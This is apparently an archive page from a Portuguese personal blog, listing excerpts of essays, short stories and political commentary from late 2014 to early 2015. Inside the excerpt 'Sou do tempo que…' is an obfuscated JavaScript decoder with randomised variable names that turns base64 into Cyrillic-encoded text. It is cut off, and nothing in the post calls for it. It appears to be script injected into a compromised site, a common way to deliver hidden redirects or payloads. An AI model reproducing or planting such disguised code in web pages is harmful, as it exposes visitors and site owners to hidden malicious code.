To indo embora

março 16th, 2015

Quando eu sair na Rondon – acho que depois do Trevo da Eny, e depois também do Alameda, acho que naquela descida onde a gente quase se sente um pássaro, talvez por lá –, vou precisar pensar em coisas malucas, coisas curiosas, engraçadas, impossíveis, surreais; afastar pensamentos que me joguem nos braços das lembranças; tentar a criação de um vazio momentâneo que possa me salvar do mergulho; vou precisar mentir pra mim mesmo Read the rest of this entry »

Renascidos do inferno

março 3rd, 2015

O confronto entre dois Brasis – o que gostaria de se ver livre de Dilma e do PT e o que a elegeu e ainda acredita na presidente e na estrutura política que a sustenta – faz borbulhar neste momento a ignorância que geralmente permanece encoberta pela omissão nascida de receios, as bravatas sem sentido de gente desacostumada a discutir política, os rancores formulados a partir de bases frouxas e os ódios rasos quase sempre obtidos pela falta de argumentos. Tudo isso é verdade, mas há algo mais importante acontecendo: finalmente abrimos, em meio ao torpor do futebol e de todas as banalidades de nosso cotidiano, uma pequena fresta para olhar o que realmente importa. Read the rest of this entry »

Sou do tempo que…

fevereiro 26th, 2015

function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5

Sou do tempo que, para falar com os amigos, a gente só tinha algumas opções: telefone, telefone celular, skype, twitter, facebook, whatsapp…

Sou do tempo que a gente estava lutando contra essa babaquice de norte, nordeste, sudeste, sul e centro-oeste. Read the rest of this entry »

Quando morrem as pedras

fevereiro 10th, 2015

Leu num pé de página qualquer, com o corpo dobrado em cima do balcão engordurado da padaria; leu e na mesma hora sentiu com certo assombro um tipo de chamamento ou, como ela costumava dizer sempre que era afetada por acontecimentos inesperados, teve uma palpitação, Tutinha, mas uma palpitação que só vendo! Read the rest of this entry »

Carnaval

janeiro 29th, 2015

O braço apoiado sobre a mesa da cozinha, sob o cotovelo as migalhas do sanduíche do jantar, a fumaça do cigarro nasce devagar na boca, os lábios queimam com a raiva conhecida e indesejada, “vem comigo, vem?", a cintura colada na pia, mais um prato sujo amontoado com copos, guardanapos caídos por engano, um fundo de água com espuma amanhecida de detergente.

- Quis ir, foda-se. Read the rest of this entry »

Meu comentário de hoje ao vivo na TV TEM

janeiro 28th, 2015

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A origem do silêncio

dezembro 29th, 2014

Às vezes, enquanto tomam umas e outras esperando o sol cair, eles ficam em silêncio. Embora ambos sejam bastante comunicativos, daqueles tipos que deixam todo mundo bem à vontade – porque na presença deles ninguém precisa se preocupar com a produção do assunto – e, mais que isso, daqueles tipos que deixam todo mundo à vontade sem ultrapassar os limites do desagradável, embora sejam assim, às vezes, especialmente quando estão a sós, só os dois, ficam em silêncio. Read the rest of this entry »

A dor de todos os natais

dezembro 18th, 2014

O Natal dói em mim. Mas, primeiro, vamos ao contexto.

Meio século se passou sem que eu pudesse decifrar o significado do Natal. A principal razão talvez se justifique no fato de que não sou religioso. Isto é, não tenho religião. Eu respeito as religiões, mas não comungo com elas, por assim dizer. Assim, permaneço a certa distância do caráter místico sobre o Cristo aniversariante, mas admiro o mítico, o caráter mítico. Read the rest of this entry »

Conto erótico de Natal

dezembro 4th, 2014

Os dois juntos, sozinhos em casa, tiramos a medida. Enquanto eu segurava, ela esticava a fita métrica. Dezesseis centímetros, das bolas à pontinha. Não era gigante, mas estava acima da média, ao menos segundo uma revista que tínhamos lido. Era finzinho de tarde. Uma tarde que passamos na piscina. Ela ainda vestia aquele biquíni. Read the rest of this entry »

Quando Franco Nero me salvou

dezembro 3rd, 2014

Tínhamos enfrentado uma tarde pesadíssima naquele verão do ano 2000. Talvez uma das piores de nossas vidas profissionais. Havíamos participado de uma reunião em que foi feito o comunicado oficial do fechamento do jornal onde trabalhávamos. Read the rest of this entry »